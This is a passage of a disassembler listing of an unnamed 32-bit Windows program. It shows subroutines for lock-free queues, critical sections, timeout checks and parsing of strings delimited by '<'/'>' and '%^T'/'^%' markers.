ecx lea ecx, [esi+4] call sub_40DB48 and dword ptr [esi+8], 0 mov eax, esi pop esi retn sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= sub_401AE5 proc near ; CODE XREF: sub_401AE5+47 p ; sub_402400+84 p ... push esi mov esi, ecx lea ecx, [esi+8] call sub_40DB59 lea ecx, [esi+4] pop esi jmp sub_40DB59 sub_401AE5 endp ; =============== S U B R O U T I N E ======================================= sub_401AF9 proc near ; CODE XREF: sub_401AF9+55 p ; sub_402512+16 p push esi mov esi, ecx lea ecx, [esi+4] call sub_40DB48 lea ecx, [esi+8] call sub_40DB48 mov eax, esi pop esi retn sub_401AF9 endp ; =============== S U B R O U T I N E ======================================= sub_401B10 proc near ; CODE XREF: sub_401B10+85 p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov eax, [eax] push ebx push esi mov esi, ecx mov ecx, [esp+8+arg_4] push edi mov edi, [ecx] mov ecx, [esp+0Ch+arg_0] mov ebx, [ecx] push eax call sub_40CE59 pop ecx push eax push edi push ebx lea ecx, [esi+14h] call sub_409588 pop edi pop esi pop ebx retn 0Ch sub_401B10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B3F proc near ; CODE XREF: sub_401B3F+1FD p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx xor ebx, ebx xor eax, eax cmp [ebp+arg_8], ebx jz short loc_401B5C mov ecx, [ebp+arg_0] push ebx push [ebp+arg_8] call sub_40DB2F cmp eax, ebx jz short loc_401B93 loc_401B5C: ; CODE XREF: loc_401B5C+B j mov ecx, [ebp+arg_0] push esi push eax push offset asc_41820C ; "<" call sub_40DB2F mov esi, eax cmp esi, ebx jz short loc_401B92 mov ecx, [ebp+arg_0] inc esi push esi push offset asc_418208 ; ">" call sub_40DB2F cmp eax, ebx jz short loc_401B92 mov ecx, [ebp+arg_4] sub eax, esi push eax push esi call sub_40DB5E mov bl, 1 loc_401B92: ; CODE XREF: loc_401B92+30 j ; sub_401B3F+43 j pop esi loc_401B93: ; CODE XREF: loc_401B93+1B j mov al, bl pop ebx pop ebp retn 0Ch sub_401B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B9A proc near ; CODE XREF: sub_401B9A+1C8 p var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] push edi push 0 push [ebp+arg_4] mov ecx, esi mov [ebp+var_1], 0 call sub_40DB2F mov edi, eax test edi, edi jz short loc_401C26 lea ecx, [ebp+arg_4] call sub_40DB48 push edi push offset asc_41820C ; "<" mov ecx, esi call sub_40DB2F mov edi, eax test edi, edi jz short loc_401C1E mov eax, [esi] mov ecx, edi sub ecx, eax inc ecx push ecx push eax lea ecx, [ebp+arg_4] call sub_40DB5E push 0 push [ebp+arg_8] lea ecx, [ebp+arg_4] call sub_40DBA2 inc edi push edi push offset asc_418208 ; ">" mov ecx, esi call sub_40DB2F test eax, eax lea ecx, [ebp+arg_4] jz short loc_401C21 push 0 push eax call sub_40DBA2 lea eax, [ebp+arg_4] push eax mov ecx, esi call sub_40DC39 mov [ebp+var_1], 1 loc_401C1E: ; CODE XREF: loc_401C1E+38 j lea ecx, [ebp+arg_4] loc_401C21: ; CODE XREF: loc_401C21+6B j call sub_40DB59 loc_401C26: ; CODE XREF: loc_401C26+1D j mov al, [ebp+var_1] pop edi pop esi leave retn 0Ch sub_401B9A endp ; =============== S U B R O U T I N E ======================================= sub_401C2F proc near ; CODE XREF: sub_401C2F+35 p push esi xor eax, eax mov esi, ecx push 2000h push eax mov [esi+2004h], eax push esi mov [esi+2000h], eax call sub_40CCD9 add esp, 0Ch mov eax, esi pop esi retn sub_401C2F endp ; =============== S U B R O U T I N E ======================================= sub_401C53 proc near ; CODE XREF: sub_401C53+1C p ; sub_4022BE+81 p arg_0 = dword ptr 4 push ebx push ebp push esi mov ebx, ecx push edi lea ebp, [ebx+2000h] loc_401C5F: ; CODE XREF: loc_401C5F+43 j mov esi, [ebp+0] xor edi, edi loc_401C64: ; CODE XREF: loc_401C64+36 j push 0 push [esp+14h+arg_0] lea eax, [edi+esi] and eax, 7FFh lea eax, [ebx+eax*4] push eax call InterlockedCompareExchange test eax, eax jz short loc_401C98 cmp edi, 800h jz short loc_401C8B inc edi jmp short loc_401C64 ; --------------------------------------------------------------------------- loc_401C8B: ; CODE XREF: loc_401C8B+33 j push 3E8h call Sleep jmp short loc_401C5F ; --------------------------------------------------------------------------- loc_401C98: ; CODE XREF: loc_401C98+2B j push ebp call InterlockedIncrement pop edi pop esi pop ebp pop ebx retn 4 sub_401C53 endp ; =============== S U B R O U T I N E ======================================= sub_401CA6 proc near ; CODE XREF: sub_401CA6+92 p ; .text:00402AA2 p push esi lea esi, [ecx+2004h] mov eax, [esi] and eax, 7FFh lea eax, [ecx+eax*4] push edi mov edi, [eax] test edi, edi jz short loc_401CD7 push edi push 0 push eax call InterlockedCompareExchange test eax, eax jz short loc_401CD7 push esi call InterlockedIncrement mov eax, edi jmp short loc_401CD9 ; --------------------------------------------------------------------------- loc_401CD7: ; CODE XREF: loc_401CD7+16 j ; sub_401CA6+24 j xor eax, eax loc_401CD9: ; CODE XREF: loc_401CD9+2F j pop edi pop esi retn sub_401CA6 endp ; =============== S U B R O U T I N E ======================================= sub_401CDC proc near ; CODE XREF: sub_401CDC+40 p push esi xor eax, eax mov esi, ecx push 3000h push eax mov [esi+3004h], eax push esi mov [esi+3000h], eax call sub_40CCD9 add esp, 0Ch mov eax, esi pop esi retn sub_401CDC endp ; =============== S U B R O U T I N E ======================================= sub_401D00 proc near ; CODE XREF: sub_401D00+20 p var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp mov ebp, ds:dword_4180D0 push esi mov esi, ecx lea eax, [esi+3000h] push edi mov edi, [eax] xor ebx, ebx mov [esp+14h+var_4], eax push ebx mov eax, edi jmp short loc_401D2E ; --------------------------------------------------------------------------- loc_401D20: ; CODE XREF: loc_401D20+43 j cmp ebx, 0C00h jz short loc_401D59 inc ebx push 0 lea eax, [ebx+edi] loc_401D2E: ; CODE XREF: loc_401D2E+1E j xor edx, edx mov ecx, 0C00h div ecx push [esp+18h+arg_0] lea eax, [esi+edx*4] push eax call InterlockedCompareExchange ; df--SH test eax, eax jnz short loc_401D20 push [esp+14h+var_4] call InterlockedIncrement mov al, 1 loc_401D51: ; CODE XREF: loc_401D51+5B j pop edi pop esi pop ebp pop ebx pop ecx retn 4 ; --------------------------------------------------------------------------- loc_401D59: ; CODE XREF: loc_401D59+26 j xor al, al jmp short loc_401D51 sub_401D00 endp ; =============== S U B R O U T I N E ======================================= sub_401D5D proc near ; CODE XREF: sub_401D5D+4A p ; sub_402400+B5 p push esi push edi lea esi, [ecx+3004h] mov eax, [esi] xor edx, edx mov edi, 0C00h div edi lea eax, [ecx+edx*4] mov edi, [eax] test edi, edi jz short loc_401D92 push edi push 0 push eax call InterlockedCompareExchange test eax, eax jz short loc_401D92 push esi call InterlockedIncrement mov eax, edi jmp short loc_401D94 ; --------------------------------------------------------------------------- loc_401D92: ; CODE XREF: loc_401D92+1A j ; sub_401D5D+28 j xor eax, eax loc_401D94: ; CODE XREF: loc_401D94+33 j pop edi pop esi retn sub_401D5D endp ; =============== S U B R O U T I N E ======================================= sub_401D97 proc near ; CODE XREF: sub_401D97+19F p push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_401DB2 mov ecx, edi call sub_402BDD push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_401DB2: ; CODE XREF: loc_401DB2+8 j pop edi pop esi retn sub_401D97 endp ; =============== S U B R O U T I N E ======================================= sub_401DB5 proc near ; CODE XREF: sub_401DB5+76 p ; sub_402400+6B p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx mov ebx, [eax+4] push ebp push esi mov esi, [eax+8] push edi mov edi, [eax+0Ch] push eax mov ebp, ecx call sub_40D0B6 test esi, esi pop ecx jz short loc_401DD6 mov [esi+0Ch], edi loc_401DD6: ; CODE XREF: loc_401DD6+1C j test edi, edi jz short loc_401DDF mov [edi+8], esi jmp short loc_401DE2 ; --------------------------------------------------------------------------- loc_401DDF: ; CODE XREF: loc_401DDF+23 j mov [ebp+0], esi loc_401DE2: ; CODE XREF: loc_401DE2+28 j pop edi pop esi pop ebp mov eax, ebx pop ebx retn 4 sub_401DB5 endp ; =============== S U B R O U T I N E ======================================= sub_401DEB proc near ; CODE XREF: sub_401DEB+C p push esi mov esi, ecx lea ecx, [esi+4] call sub_40DB59 mov ecx, esi pop esi jmp sub_401205 sub_401DEB endp ; =============== S U B R O U T I N E ======================================= sub_401DFE proc near ; CODE XREF: sub_401DFE+FD p ; sub_402400+53 p push esi push edi mov edi, ecx mov esi, [edi+8] test esi, esi jz short loc_401E17 mov ecx, esi call sub_402BDD push esi call sub_40D0B6 pop ecx loc_401E17: ; CODE XREF: loc_401E17+9 j lea ecx, [edi+4] pop edi pop esi jmp sub_40DB59 sub_401DFE endp ; =============== S U B R O U T I N E ======================================= sub_401E21 proc near ; CODE XREF: sub_401E21+F p push ebx push esi push edi mov esi, ecx push dword ptr [esi+50A0h] call SetEvent lea ecx, [esi+5090h] call sub_40B150 xor ebx, ebx xor edi, edi cmp [esi+508Ch], ebx jbe short loc_401E62 loc_401E49: ; CODE XREF: loc_401E49+3F j mov ecx, [esi+5088h] add ecx, ebx call sub_40B150 inc edi add ebx, 10h cmp edi, [esi+508Ch] jb short loc_401E49 loc_401E62: ; CODE XREF: loc_401E62+26 j pop edi pop esi pop ebx retn sub_401E21 endp ; =============== S U B R O U T I N E ======================================= sub_401E66 proc near ; CODE XREF: sub_401E66+400 p arg_0 = dword ptr 4 push esi mov esi, ecx call GetTickCount mov ecx, [esp+4+arg_0] inc dword ptr [ecx+10h] cmp dword ptr [ecx+10h], 3 mov [ecx+0Ch], eax jge short loc_401E93 push ecx lea ecx, [esi+205Ch] call sub_401D00 test al, al jz short loc_401E93 mov al, 1 jmp short loc_401E95 ; --------------------------------------------------------------------------- loc_401E93: ; CODE XREF: loc_401E93+17 j ; sub_401E66+27 j xor al, al loc_401E95: ; CODE XREF: loc_401E95+2B j pop esi retn 4 sub_401E66 endp ; =============== S U B R O U T I N E ======================================= sub_401E99 proc near ; CODE XREF: sub_401E99+1CF p push esi mov esi, ecx cmp dword ptr [esi+5064h], 0 jnz short loc_401EA9 xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_401EA9: ; CODE XREF: loc_401EA9+A j cmp dword ptr [esi+5080h], 0C800h jg short loc_401ECC call GetTickCount sub eax, [esi+5084h] cmp eax, 0DBBA0h ja short loc_401ECC xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_401ECC: ; CODE XREF: loc_401ECC+1A j ; sub_401E99+2D j xor eax, eax inc eax pop esi retn sub_401E99 endp ; =============== S U B R O U T I N E ======================================= sub_401ED1 proc near ; CODE XREF: sub_401ED1+53 p arg_0 = dword ptr 4 push esi mov esi, ecx mov eax, [esi+2000h] push edi lea edi, [esi+2004h] mov ecx, [edi] cmp eax, ecx jnz short loc_401EF4 push [esp+8+arg_0] mov ecx, esi call sub_401C53 jmp short loc_401F39 ; --------------------------------------------------------------------------- loc_401EF4: ; CODE XREF: loc_401EF4+14 j push ebx push ebp loc_401EF6: ; CODE XREF: loc_401EF6+5D j mov eax, [edi] xor ebp, ebp mov ebx, eax loc_401EFC: ; CODE XREF: loc_401EFC+50 j push 0 push [esp+14h+arg_0] mov eax, ebx and eax, 7FFh lea eax, [esi+eax*4] push eax call InterlockedCompareExchange test eax, eax jz short loc_401F30 cmp ebp, 800h jz short loc_401F23 inc ebp dec ebx jmp short loc_401EFC ; --------------------------------------------------------------------------- loc_401F23: ; CODE XREF: loc_401F23+4C j push 3E8h call Sleep jmp short loc_401EF6 ; --------------------------------------------------------------------------- loc_401F30: ; CODE XREF: loc_401F30+44 j push edi call InterlockedDecrement pop ebp pop ebx loc_401F39: ; CODE XREF: loc_401F39+21 j pop edi pop esi retn 4 sub_401ED1 endp ; =============== S U B R O U T I N E ======================================= sub_401F3E proc near ; CODE XREF: sub_401F3E+76 p ; sub_402624+58 p ... arg_0 = dword ptr 4 push esi push edi mov esi, ecx lea edi, [esi+4] push edi call EnterCriticalSection push [esp+8+arg_0] mov ecx, esi call sub_408DA2 test eax, eax jz short loc_401F6C mov esi, [eax+4] loc_401F5E: ; CODE XREF: loc_401F5E+30 j push edi call LeaveCriticalSection pop edi mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_401F6C: ; CODE XREF: loc_401F6C+1B j xor esi, esi jmp short loc_401F5E sub_401F3E endp ; =============== S U B R O U T I N E ======================================= sub_401F70 proc near ; CODE XREF: sub_401F70+9 p ; sub_40235F+60 p ... mov eax, [ecx] test eax, eax jz short locret_401F84 and dword ptr [ecx], 0 and dword ptr [ecx+4], 0 push eax call sub_40CCC5 pop ecx locret_401F84: ; CODE XREF: locret_401F84+4 j retn sub_401F70 endp ; =============== S U B R O U T I N E ======================================= sub_401F85 proc near ; CODE XREF: sub_401F85+C p ; sub_402624+DB p ... push esi mov esi, ecx cmp dword ptr [esi], 0 jz short loc_401FB6 push edi xor edi, edi cmp [esi+4], edi jbe short loc_401FA5 loc_401F95: ; CODE XREF: loc_401F95+1E j mov eax, [esi] lea ecx, [eax+edi*4] call sub_40DB59 inc edi cmp edi, [esi+4] jb short loc_401F95 loc_401FA5: ; CODE XREF: loc_401FA5+E j mov eax, [esi] and dword ptr [esi], 0 and dword ptr [esi+4], 0 push eax call sub_40CCC5 pop ecx pop edi loc_401FB6: ; CODE XREF: loc_401FB6+6 j pop esi retn sub_401F85 endp ; =============== S U B R O U T I N E ======================================= sub_401FB8 proc near ; CODE XREF: sub_401FB8+16B p push esi push edi mov esi, ecx xor edi, edi cmp [esi+508Ch], edi jbe short loc_401FE5 push ebx xor ebx, ebx loc_401FC9: ; CODE XREF: loc_401FC9+2A j mov ecx, [esi+5088h] push 0 add ecx, ebx call sub_40174B inc edi add ebx, 10h cmp edi, [esi+508Ch] jb short loc_401FC9 pop ebx loc_401FE5: ; CODE XREF: loc_401FE5+C j push 0 lea ecx, [esi+5090h] call sub_40174B pop edi pop esi retn sub_401FB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401FF5 proc near ; CODE XREF: sub_401FF5+75 p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0Ch mov [ebp+var_4], ecx call sub_40D0BB test eax, eax pop ecx jz short loc_402014 mov ecx, eax call sub_401AD2 mov esi, eax jmp short loc_402016 ; --------------------------------------------------------------------------- loc_402014: ; CODE XREF: loc_402014+12 j xor esi, esi loc_402016: ; CODE XREF: loc_402016+1D j mov eax, [ebp+arg_4] push ebx push edi mov edi, [ebp+arg_8] push 0 mov [esi], eax push dword ptr [edi] lea ebx, [esi+4] mov ecx, ebx call sub_40DB5E and dword ptr [esi+8], 0 push 0 push offset aT ; "%^T" mov ecx, edi call sub_40DB2F mov edi, eax test edi, edi jz loc_4020D9 add edi, 3 push edi push offset asc_418214 ; "^%" mov ecx, ebx call sub_40DB2F test eax, eax jz short loc_4020D9 sub eax, edi mov ebx, eax push ebx call sub_40D0BB lea ecx, [ebp+arg_8] push ecx push eax push ebx push edi mov [ebp+arg_4], eax mov [ebp+arg_8], ebx call sub_40C4D1 add esp, 14h test al, al jnz short loc_40208C cmp [ebp+arg_4], 0 jz short loc_4020D9 push [ebp+arg_4] jmp short loc_4020D3 ; --------------------------------------------------------------------------- loc_40208C: ; CODE XREF: loc_40208C+8A j push 2Ch call sub_40D0BB test eax, eax pop ecx jz short loc_4020A3 mov ecx, eax call sub_402BAC mov edi, eax jmp short loc_4020A5 ; --------------------------------------------------------------------------- loc_4020A3: ; CODE XREF: loc_4020A3+A1 j xor edi, edi loc_4020A5: ; CODE XREF: loc_4020A5+AC j push [ebp+arg_8] mov ebx, [ebp+arg_4] push ebx mov ecx, edi call sub_402C86 test al, al jnz short loc_4020CB test edi, edi jz short loc_4020CE mov ecx, edi call sub_402BDD push edi call sub_40D0B6 pop ecx jmp short loc_4020CE ; --------------------------------------------------------------------------- loc_4020CB: ; CODE XREF: loc_4020CB+C0 j mov [esi+8], edi loc_4020CE: ; CODE XREF: loc_4020CE+C4 j ; sub_401FF5+D4 j test ebx, ebx jz short loc_4020D9 push ebx loc_4020D3: ; CODE XREF: loc_4020D3+95 j call sub_40D0B6 pop ecx loc_4020D9: ; CODE XREF: loc_4020D9+4F j ; sub_401FF5+67 j ... mov ecx, [ebp+var_4] push esi push [ebp+arg_0] add ecx, 38h call sub_408F07 mov esi, eax test esi, esi pop edi pop ebx jz short loc_4020FE mov ecx, esi call sub_401DFE push esi call sub_40D0B6 pop ecx loc_4020FE: ; CODE XREF: loc_4020FE+F9 j pop esi leave retn 0Ch sub_401FF5 endp ; =============== S U B R O U T I N E ======================================= sub_402103 proc near ; DATA XREF: sub_402103+A1 o push ebp mov ebp, ds:dword_4180B0 push esi push 1 mov esi, ecx push 64h push dword ptr [esi+50A0h] call WaitForSingleObjectEx ; df--HS test eax, eax jz short loc_40216D push ebx push edi lea edi, [esi+205Ch] loc_402125: ; CODE XREF: loc_402125+66 j mov eax, [edi+3004h] xor edx, edx mov ecx, 0C00h div ecx mov ebx, [edi+edx*4] test ebx, ebx jz short loc_40215B call GetTickCount sub eax, [ebx+0Ch] cmp eax, 927C0h jbe short loc_40215B mov ecx, edi call sub_401D5D push eax lea ecx, [esi+54h] call sub_401ED1 loc_40215B: ; CODE XREF: loc_40215B+36 j ; sub_402103+46 j push 1 push 64h push dword ptr [esi+50A0h] call WaitForSingleObjectEx ; df--HS test eax, eax jnz short loc_402125 pop edi pop ebx loc_40216D: ; CODE XREF: loc_40216D+18 j pop esi pop ebp retn 4 sub_402103 endp ; =============== S U B R O U T I N E ======================================= sub_402172 proc near ; CODE XREF: sub_402172+10 p arg_0 = dword ptr 4 push esi mov esi, ecx cmp dword ptr [esi], 0 push edi jz short loc_402180 call sub_401F70 loc_402180: ; CODE XREF: loc_402180+7 j mov edi, [esp+8+arg_0] mov eax, edi shl eax, 4 push 1 push eax call sub_40CA2C test eax, eax pop ecx pop ecx mov [esi], eax jz short loc_40219C mov [esi+4], edi loc_40219C: ; CODE XREF: loc_40219C+25 j pop edi pop esi retn 4 sub_402172 endp ; =============== S U B R O U T I N E ======================================= sub_4021A1 proc near ; CODE XREF: sub_4021A1+2B4 p ; sub_402624+40C p ... push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_4021BC mov ecx, edi call sub_401DEB push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_4021BC: ; CODE XREF: loc_4021BC+8 j pop edi pop esi retn sub_4021A1 endp ; =============== S U B R O U T I N E ======================================= sub_4021BF proc near ; CODE XREF: sub_4021BF+25 p push esi mov esi, ecx lea eax, [esi+0Ch] mov dword ptr [esi], offset off_41821C and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 push eax call InitializeCriticalSection mov eax, esi pop esi retn sub_4021BF endp ; =============== S U B R O U T I N E ======================================= sub_4021DE proc near ; CODE XREF: sub_4021DE+21 p push esi mov esi, ecx push edi lea ecx, [esi+4] mov dword ptr [esi], offset off_418220 call sub_401202 lea ecx, [esi+8] call sub_40DB48 lea ecx, [esi+0Ch] call sub_40DB48 lea ecx, [esi+14h] call sub_4021BF lea ecx, [esi+38h] call sub_408D8E lea ecx, [esi+54h] call sub_401C2F lea ecx, [esi+205Ch] call sub_401CDC lea ecx, [esi+5064h] call sub_408D8E xor edi, edi mov [esi+5080h], edi call GetTickCount mov [esi+5084h], eax lea eax, [esi+5088h] mov [eax], edi mov [eax+4], edi push 1 lea ecx, [esi+50A0h] mov [esi+509Ch], edi mov [esi+5098h], edi mov [esi+5094h], edi call sub_4012FC lea eax, [esi+50ACh] push eax call InitializeCriticalSection mov [esi+5094h], edi mov dword ptr [esi+509Ch], offset sub_402103 mov [esi+5098h], esi mov [esi+50A4h], edi mov [esi+50A8h], edi pop edi mov eax, esi pop esi retn sub_4021DE endp ; =============== S U B R O U T I N E ======================================= sub_4022A0 proc near ; CODE XREF: sub_4022A0+97 p ; sub_403ED0+17E p ... push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_4022BB mov ecx, edi call sub_401F85 push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_4022BB: ; CODE XREF: loc_4022BB+8 j pop edi pop esi retn sub_4022A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022BE proc near ; CODE XREF: sub_4022BE+67 p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push edi mov [ebp+var_4], ecx mov ecx, [ebp+arg_4] push offset asc_418210 ; "\n" call sub_40DD00 mov edi, eax mov ecx, [edi+4] xor eax, eax test ecx, ecx mov [ebp+var_C], edi mov [ebp+arg_4], eax mov [ebp+var_8], ecx jbe short loc_402352 push ebx push esi loc_4022EB: ; CODE XREF: loc_4022EB+90 j mov ebx, eax mov eax, [edi] shl ebx, 2 add eax, ebx mov eax, [eax] test eax, eax jz short loc_402344 push eax call sub_40CD83 test eax, eax pop ecx jbe short loc_402344 push 14h call sub_40D0BB test eax, eax pop ecx jz short loc_40231C mov ecx, eax call sub_401AF9 mov esi, eax jmp short loc_40231E ; --------------------------------------------------------------------------- loc_40231C: ; CODE XREF: loc_40231C+51 j xor esi, esi loc_40231E: ; CODE XREF: loc_40231E+5C j mov eax, [ebp+arg_0] mov [esi], eax mov eax, [edi] add eax, ebx push eax lea ecx, [esi+4] call sub_40DC39 mov ecx, [ebp+var_4] and dword ptr [esi+0Ch], 0 and dword ptr [esi+10h], 0 push esi add ecx, 54h call sub_401C53 loc_402344: ; CODE XREF: loc_402344+3A j ; sub_4022BE+45 j mov eax, [ebp+arg_4] inc eax cmp eax, [ebp+var_8] mov [ebp+arg_4], eax jb short loc_4022EB pop esi pop ebx loc_402352: ; CODE XREF: loc_402352+29 j lea ecx, [ebp+var_C] call sub_4022A0 pop edi leave retn 8 sub_4022BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40235F proc near ; CODE XREF: sub_40235F+25 p ; sub_405440+1F3 p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, ecx push edi lea eax, [ebp+var_8] lea ecx, [ebx+5064h] push eax mov [ebp+var_4], ebx call sub_408761 mov edi, [ebp+var_8] test edi, edi jz short loc_4023E1 push esi loc_402382: ; CODE XREF: loc_402382+7F j test edi, edi jz short loc_40238B mov esi, [edi+4] jmp short loc_40238D ; --------------------------------------------------------------------------- loc_40238B: ; CODE XREF: loc_40238B+25 j xor esi, esi loc_40238D: ; CODE XREF: loc_40238D+2A j mov eax, [esi+4] test eax, eax jbe short loc_4023BD xor ebx, ebx test eax, eax jbe short loc_4023BA loc_40239A: ; CODE XREF: loc_40239A+59 j mov eax, [esi] mov ecx, [eax+ebx*4] test ecx, ecx mov [ebp+var_8], ecx jz short loc_4023B4 call sub_401AE5 push [ebp+var_8] call sub_40D0B6 pop ecx loc_4023B4: ; CODE XREF: loc_4023B4+45 j inc ebx cmp ebx, [esi+4] jb short loc_40239A loc_4023BA: ; CODE XREF: loc_4023BA+39 j mov ebx, [ebp+var_4] loc_4023BD: ; CODE XREF: loc_4023BD+33 j mov ecx, esi call sub_401F70 push esi call sub_40D0B6 mov esi, [edi+8] pop ecx push edi lea ecx, [ebx+5064h] call sub_401DB5 test esi, esi mov edi, esi jnz short loc_402382 pop esi loc_4023E1: ; CODE XREF: loc_4023E1+20 j push 0 lea eax, [ebx+5080h] push eax call InterlockedExchange call GetTickCount pop edi mov [ebx+5084h], eax pop ebx leave retn sub_40235F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402400 proc near ; CODE XREF: sub_402400+7C p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi mov esi, ecx push edi mov dword ptr [esi], offset off_418220 call sub_401E21 mov edi, ds:dword_4180DC lea ebx, [esi+5068h] push ebx call EnterCriticalSection ; df--HS mov ecx, esi call sub_40235F push ebx mov ebx, ds:dword_4180E0 call LeaveCriticalSection ; df--HS lea eax, [esi+3Ch] push eax call EnterCriticalSection ; df--HS lea eax, [ebp+var_4] lea ecx, [esi+38h] push eax call sub_408761 jmp short loc_402470 ; --------------------------------------------------------------------------- loc_402447: ; CODE XREF: loc_402447+75 j mov eax, [edi+4] mov ecx, eax test ecx, ecx mov [ebp+var_4], eax jz short loc_402461 call sub_401DFE push [ebp+var_4] call sub_40D0B6 pop ecx loc_402461: ; CODE XREF: loc_402461+51 j mov eax, [edi+8] push edi lea ecx, [esi+38h] mov [ebp+var_4], eax call sub_401DB5 loc_402470: ; CODE XREF: loc_402470+45 j mov edi, [ebp+var_4] test edi, edi jnz short loc_402447 lea eax, [esi+3Ch] push eax call ebx lea edi, [esi+54h] jmp short loc_402490 ; --------------------------------------------------------------------------- loc_402482: ; CODE XREF: loc_402482+9B j mov ecx, ebx call sub_401AE5 push ebx call sub_40D0B6 pop ecx loc_402490: ; CODE XREF: loc_402490+80 j mov ecx, edi call sub_401CA6 mov ebx, eax test ebx, ebx jnz short loc_402482 lea ebx, [esi+205Ch] jmp short loc_4024B3 ; --------------------------------------------------------------------------- loc_4024A5: ; CODE XREF: loc_4024A5+BE j mov ecx, edi call sub_401AE5 push edi call sub_40D0B6 pop ecx loc_4024B3: ; CODE XREF: loc_4024B3+A3 j mov ecx, ebx call sub_401D5D mov edi, eax test edi, edi jnz short loc_4024A5 mov edi, ds:dword_4180D8 lea eax, [esi+50ACh] push eax call DeleteCriticalSection ; df--HS push dword ptr [esi+50A0h] call CloseHandle lea ecx, [esi+5088h] call sub_401F70 lea eax, [esi+5068h] push eax call DeleteCriticalSection ; df--HS lea eax, [esi+3Ch] push eax call DeleteCriticalSection ; df--HS lea ecx, [esi+14h] call sub_40951B lea ecx, [esi+0Ch] call sub_40DB59 lea ecx, [esi+8] call sub_40DB59 pop edi pop esi pop ebx leave retn sub_402400 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402512 proc near ; CODE XREF: sub_402512+2D7 p ; sub_402624+33B p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi push 0Ch mov ebx, ecx call sub_40D0BB test eax, eax pop ecx jz short loc_402531 mov ecx, eax call sub_401AF9 mov esi, eax jmp short loc_402533 ; --------------------------------------------------------------------------- loc_402531: ; CODE XREF: loc_402531+12 j xor esi, esi loc_402533: ; CODE XREF: loc_402533+1D j mov eax, [ebp+arg_4] mov edi, [ebp+arg_0] mov [esi], eax cmp byte ptr [ebx+10h], 0 jz short loc_40254E test eax, eax jnz short loc_402570 push eax push dword ptr [edi+4] lea ecx, [esi+4] jmp short loc_40256B ; --------------------------------------------------------------------------- loc_40254E: ; CODE XREF: loc_40254E+2D j push 0 push dword ptr [edi+4] lea ecx, [esi+4] call sub_40DB5E cmp [ebp+arg_4], 0 jz short loc_402570 mov eax, [ebp+arg_8] push 0 push dword ptr [eax] lea ecx, [esi+8] loc_40256B: ; CODE XREF: loc_40256B+3A j call sub_40DB5E loc_402570: ; CODE XREF: loc_402570+31 j ; sub_402512+4D j lea eax, [ebx+5068h] push eax mov [ebp+arg_0], eax call EnterCriticalSection push dword ptr [edi] lea ecx, [ebx+5064h] call sub_401F3E test eax, eax mov [ebp+arg_4], eax jnz short loc_4025BF push 8 call sub_40D0BB pop ecx xor ecx, ecx cmp eax, ecx jz short loc_4025AC mov [eax], ecx mov [eax+4], ecx mov [ebp+arg_4], eax jmp short loc_4025AF ; --------------------------------------------------------------------------- loc_4025AC: ; CODE XREF: loc_4025AC+8E j mov [ebp+arg_4], ecx loc_4025AF: ; CODE XREF: loc_4025AF+98 j push [ebp+arg_4] lea ecx, [ebx+5064h] push dword ptr [edi] call sub_408F07 loc_4025BF: ; CODE XREF: loc_4025BF+80 j mov ecx, [ebp+arg_4] call sub_409570 mov [eax], esi mov eax, [esi+4] test eax, eax jnz short loc_4025D5 and [ebp+arg_4], eax jmp short loc_4025DF ; --------------------------------------------------------------------------- loc_4025D5: ; CODE XREF: loc_4025D5+BC j push eax call sub_40CD83 pop ecx mov [ebp+arg_4], eax loc_4025DF: ; CODE XREF: loc_4025DF+C1 j mov esi, [esi+8] test esi, esi jnz short loc_4025EA xor eax, eax jmp short loc_4025F1 ; --------------------------------------------------------------------------- loc_4025EA: ; CODE XREF: loc_4025EA+D2 j push esi call sub_40CD83 pop ecx loc_4025F1: ; CODE XREF: loc_4025F1+D6 j mov ecx, [ebp+arg_4] lea eax, [eax+ecx+4] push eax add ebx, 5080h push ebx call InterlockedExchangeAdd push [ebp+arg_0] call LeaveCriticalSection mov ecx, edi call sub_401AE5 push edi call sub_40D0B6 pop ecx pop edi pop esi pop ebx pop ebp retn 0Ch sub_402512 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402624 proc near ; CODE XREF: .text:00402AAE p var_11C4 = byte ptr -11C4h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 